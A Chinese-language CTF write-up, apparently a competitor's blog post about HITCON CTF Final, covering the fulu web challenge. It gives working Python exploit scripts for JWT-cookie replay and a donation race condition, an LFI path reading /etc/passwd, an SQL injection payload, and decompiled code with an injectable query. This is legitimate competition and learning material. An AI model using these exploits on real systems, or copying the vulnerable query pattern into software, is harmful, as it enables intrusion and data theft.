Before all
Rank: 10/Taiwan Star
Team: 星爆牛炒竹狐(Starburst Beef Stir-Fried BambooFox)
今年我與星爆牛炒竹狐的夥(大)伴(佬)們一同組隊參與了HITCON CTF FINAL,雖然現場只能有四名選手在場,但能作為場外支援火力一同參與這場CTFer們的盛事我依然很興奮XD
Finalists
我(們)打MMM(和一坨知名隊伍),認真?!
Day 1
Anyway,第一天一開始的題目有三題,分別是:
- KoH-ed25519:一個要混淆ed25519簽證,並想辦法破解別人混淆的題目
- A&D-ucontext:Pwn題,沒看 😃
- A&D-fulu:一個廟宇的網站,白箱,CGI app
疑,所以3, 4題呢?
To be continued,一開始沒公布
看到這個分布,由於開賽的分配是現場組先看第一題,我自然就去看第五題啦~~
然後就矇了,一個interpreter.py和一坨無法解釋的圖片….沒錯,被混淆了!
(甚至是拿圖片當opcode)
痾…生為一個web狗可不能輕易放棄,就開始打黑箱吧XD
web服務
其實有hardcoded cred(user/pass),不過因為可以註冊帳號所以根本無所謂XD
但是登入有SQLi… 🤔
不惑無法讀檔 😑,就先放著了
這時候點下任何一個FUNCTION都會跳出像這樣的alert:
不過其實把官方檔案打開就會知道一些html templates
Oracle Attack through reusing JWT Token
轉轉逛逛,就看到了這個!
/poe
的路徑是一個擲籤的模擬器,連續42遍聖籤就可以拿flag
架上Burp Suite觀察機制:主要就是user送出request -> 獲得新的JWT紀錄本次分數
不會無緣無故多一個不能打的服務在題目裡
抱著這樣的心態,嘗試打一些JWT相關攻擊發現無果,腦袋轉了兩圈…
鯨(驚)!
如果我在本次的JWT紀錄到N次,那我不斷拿當前的TOKEN嘗試,直到拿到的TOKEN紀錄的不是0而是N+1不就可以做到100%連續聖籤了嗎?!
brute_poe.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| import requests as req import json from base64 import b64decode import os
def login(datas, url): web = req.post(url+'/login', data=datas) cookie = web.headers.get('Set-Cookie') print(f"[*] Got Cookie: {cookie.split(';')[0].split('=')}") return {cookie.split(';')[0].split('=')[0]:cookie.split(';')[0].split('=')[1]}
def brute_poe(id, url, cookies): web = req.post(url+'/poe', data={"action":"Throw"}, cookies=cookies) cookie = web.headers.get('Set-Cookie') cur_times=cookie.split(';')[0].split('=')[1].split('.')[1] cur_times=b64decode(cur_times+'='*(len(cur_times)%4), validate=False).decode() cur_times=json.loads(cur_times)['poe_times'] if int(cur_times)>id: if id==41: print(cookie+'\n', web.text+'\n', web.headers) return web.text return {cookie.split(';')[0].split('=')[0]:cookie.split(';')[0].split('=')[1]} else: return None
def attack(ip, port): url = f'http://{ip}:{port}' cookies=login({"username":"user", "password": "pass"}, url) for i in range(-1, 42): while True: cur=brute_poe(i, url, cookies) if cur: if i==41: print(cur) return cur else: print(f"[*] cur={i+1}") cookies=cur break
|
LFI
背景圖片url長這樣:
http://172.19.0.2/static/background.png
今天如果請求/static//etc/passwd
呢?
扯www
Race Condition
/credit
有一個DONATE的功能,如果捐超過10000萬元可以GET FLAG
但是一但累積超過10000元就會被禁止捐款…
這是在隊伍ELK攔截看到的內容:
可以看到有人在同一秒進行了兩次捐款並GET FLAG!
基本上可以猜測後端流程是:donate -> 確認加上當前捐款後是否>=10000 -> 更新db
patch方法可以是先更新db,一旦超過就只讓他們捐到9999
最後把這個發現丟給隊友生腳本我就先去看別題了 zzz
race.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
|
import threading import requests import random import string import sys
def register_and_login(s, url, username, password): resp = s.post(url=url, data={"username": username, "password": password}) if resp.status_code != 200: print('Register failed, service might be down') return False return True
def random_string(length=10): ascii_characters = string.ascii_letters + string.digits random_string = ''.join(random.choice(ascii_characters) for _ in range(length)) return random_string
def donate(s, url, username): data = {"name": username, "money": "9999"} s.post(url=url, data=data)
def fetch_flag(s, url): resp = s.get(url=url) print(resp.text.rstrip()) return resp.text.rstrip()
def exploit_race_condition(ip, port): session = requests.session() url = f'http://{ip}:{port}' username, password = random_string(), random_string()
if register_and_login(session, url+'/register', username, password): threads = [] for _ in range(10): thread = threading.Thread(target=donate, args=(session, url+'/credit', username,)) threads.append(thread) thread.start()
for thread in threads: thread.join()
return fetch_flag(session, url+'/credit/flag')
|
SQL Injections
其實剛剛credits路徑有個?name的參數可以取得user的
/credit?name=user' UNION SELECT 'meow', 'whale
XDD,所以到底要怎麼用呢,明天拭目以待!
小結
第一天成功靠著黑箱先幫隊伍砍下這題攻擊分(jwt重放的梗全場疑似只有我在玩),強大的隊友卡比(Chummy)好像也寫出interpreter的decoderㄌ
不過明天我暫定被調度到第三題的KoH玩api,還有GCC面試…
加油 XD
Day2
最後題單長這樣
- KoH-infinite-craft:不斷組合元素的遊戲,並且各隊伍提出各自最複雜的配方讓別人猜
- 攻防,pwn
先來 sync 下第一天fulu的後續,強者我隊友們成功把圖片byte code轉完了,能更仔細code review和patchㄌ,昨天我寫的攻擊也在各隊的SLA都能通過後開始瘋狂刷分 🔥
對了,SQL Injection其實在點燈的功能能被利用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| def serve_light(arg1, arg2, arg3):
username = 0 enable = 0 timestamp = 0 flag = 0
_2c411011 = 0
if (not verify_jwt(parse_cookie().get("token", ""))): return send_status(403, True) else: pass username = verify_jwt(parse_cookie().get("token", "")).get("username") open("template/light.html").close() connect()[1].execute(("SELECT name, timestamp FROM light WHERE name='%s'" % (username))) enable = "" timestamp = ""55 if connect()[1].fetchone(): enable = "enabled" timestamp = connect()[1].fetchone()[1] else: pass flag = "" if connect()[1].fetchone()[1]: if ((time.time() - connect()[1].fetchone()[1].timestamp()) >= 31536000): flag = read_flag() else: pass else: pass connect()[1].close() connect()[0].close() print("Content-Type: text/html\n", flush=True) print((open("template/light.html").read() % (enable, username, timestamp, flag)), flush=True)
|
這邊判斷拿flag的條件是時間戳大於一年,取個人名帶著sqli payload下去就可以ㄌ
不過我們最後只有patch沒有打,因為昨天 JWT 重放的攻擊夠用ㄌ
回到第三題的KoH,利用後續leak到的get_recipe端點就可以拿到各元素的組成方法(但詢問元素只能是現在已知的)
然後發現名字是一段句子的元素,看來後端有個LLM被摧殘?!
早上我都在跑腳本爆破新元素,最後去猜別隊的元素組成方法其實就是DFS回朔現在知道的元素,但這塊就交給隊友(Vincent)寫腳本,我只專注在爆破💣
對,這題其實有點坐牢 🫠
After all
賽後記分板
很榮幸的宣布在我的攻擊、隊友的部署及Patch的合作下,fulu這題我們是第四高分!!!
Service Status:
我們的服務都還活著,Infra隊友是神 <(_ _)>
打得很開心,超喜歡這種打攻防和挖洞的感覺,爆東西也好爽ww
期許自己未來能變成更強大,可以獨當一面的駭客!